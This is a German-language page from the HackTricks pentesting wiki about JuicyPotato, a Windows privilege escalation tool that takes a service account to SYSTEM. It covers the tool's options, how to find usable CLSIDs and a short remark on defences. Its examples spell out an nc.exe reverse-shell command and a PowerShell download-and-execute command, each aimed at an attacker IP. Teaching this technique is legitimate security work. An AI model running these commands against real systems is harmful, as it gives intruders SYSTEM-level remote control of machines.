JuicyPotato

Unterstütze HackTricks

JuicyPotato funktioniert nicht auf Windows Server 2019 und Windows 10 Build 1809 und höher. Allerdings können PrintSpoofer, RoguePotato, SharpEfsPotato verwendet werden, um die gleichen Berechtigungen zu nutzen und Zugriff auf NT AUTHORITY\SYSTEM zu erhalten. Überprüfe:

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

Juicy Potato (Ausnutzung der goldenen Berechtigungen)

Eine gesüßte Version von RottenPotatoNG, mit ein wenig Saft, d.h. ein weiteres Tool zur lokalen Privilegieneskalation, von Windows-Dienstkonten zu NT AUTHORITY\SYSTEM

Zusammenfassung

Aus dem juicy-potato Readme:

RottenPotatoNG und seine Varianten nutzen die Privilegieneskalationskette basierend auf BITS Dienst, der den MiTM-Listener auf 127.0.0.1:6666 hat und wenn du SeImpersonate oder SeAssignPrimaryToken Berechtigungen hast. Während einer Überprüfung des Windows-Builds fanden wir eine Konfiguration, bei der BITS absichtlich deaktiviert war und der Port 6666 belegt war.

Wir beschlossen, RottenPotatoNG zu waffen: Sag Hallo zu Juicy Potato.

Für die Theorie siehe Rotten Potato - Privilegieneskalation von Dienstkonten zu SYSTEM und folge der Kette von Links und Referenzen.

Wir entdeckten, dass es neben BITS mehrere COM-Server gibt, die wir ausnutzen können. Sie müssen nur:

  1. vom aktuellen Benutzer instanziierbar sein, normalerweise ein „Dienstbenutzer“, der über Impersonationsberechtigungen verfügt

  2. das IMarshal-Interface implementieren

  3. als ein erhöhter Benutzer (SYSTEM, Administrator, …) ausgeführt werden

Nach einigen Tests erhielten und testeten wir eine umfangreiche Liste von interessanten CLSID’s auf mehreren Windows-Versionen.

Saftige Details

JuicyPotato ermöglicht dir:

  • Ziel-CLSID wähle jede CLSID, die du möchtest. Hier findest du die Liste, die nach OS organisiert ist.

  • COM-Listening-Port definiere den COM-Listening-Port, den du bevorzugst (anstatt des fest codierten 6666)

  • COM-Listening-IP-Adresse binde den Server an jede IP

  • Prozess-Erstellungsmodus je nach den Berechtigungen des impersonierten Benutzers kannst du wählen zwischen:

  • CreateProcessWithToken (benötigt SeImpersonate)

  • CreateProcessAsUser (benötigt SeAssignPrimaryToken)

  • beide

  • Prozess zum Starten starte eine ausführbare Datei oder ein Skript, wenn die Ausnutzung erfolgreich ist

  • Prozessargument passe die Argumente des gestarteten Prozesses an

  • RPC-Serveradresse für einen stealthy Ansatz kannst du dich bei einem externen RPC-Server authentifizieren

  • RPC-Serverport nützlich, wenn du dich bei einem externen Server authentifizieren möchtest und die Firewall den Port 135 blockiert…

  • TEST-Modus hauptsächlich für Testzwecke, d.h. zum Testen von CLSIDs. Es erstellt das DCOM und druckt den Benutzer des Tokens. Siehe hier für Tests

Verwendung

T:\>JuicyPotato.exe
JuicyPotato v0.1

Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)

Final thoughts

Aus juicy-potato Readme:

Wenn der Benutzer die Berechtigungen SeImpersonate oder SeAssignPrimaryToken hat, dann sind Sie SYSTEM.

Es ist nahezu unmöglich, den Missbrauch all dieser COM-Server zu verhindern. Sie könnten darüber nachdenken, die Berechtigungen dieser Objekte über DCOMCNFG zu ändern, aber viel Glück, das wird herausfordernd sein.

Die eigentliche Lösung besteht darin, sensible Konten und Anwendungen zu schützen, die unter den * SERVICE-Konten ausgeführt werden. Das Stoppen von DCOM würde dieses Exploit sicherlich verhindern, könnte jedoch erhebliche Auswirkungen auf das zugrunde liegende Betriebssystem haben.

Von: http://ohpe.it/juicy-potato/

Beispiele

Hinweis: Besuchen Sie diese Seite, um eine Liste von CLSIDs auszuprobieren.

Erhalten Sie eine nc.exe Reverse-Shell

c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

c:\Users\Public>

Powershell rev

.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *

Starte ein neues CMD (wenn du RDP-Zugriff hast)

CLSID-Probleme

Oft funktioniert die standardmäßige CLSID, die JuicyPotato verwendet, nicht und der Exploit schlägt fehl. In der Regel sind mehrere Versuche erforderlich, um eine funktionierende CLSID zu finden. Um eine Liste von CLSIDs für ein bestimmtes Betriebssystem zu erhalten, solltest du diese Seite besuchen:

Überprüfen von CLSIDs

Zuerst benötigst du einige ausführbare Dateien neben juicypotato.exe.

Lade Join-Object.ps1 herunter und lade es in deine PS-Sitzung, und lade GetCLSID.ps1 herunter und führe es aus. Dieses Skript erstellt eine Liste möglicher CLSIDs, die getestet werden können.

Lade dann test_clsid.bat herunter (ändere den Pfad zur CLSID-Liste und zur juicypotato-executablen Datei) und führe es aus. Es wird versuchen, jede CLSID zu testen, und wenn sich die Portnummer ändert, bedeutet das, dass die CLSID funktioniert hat.

Überprüfe die funktionierenden CLSIDs mit dem Parameter -c

Referenzen

Unterstütze HackTricks

Last updated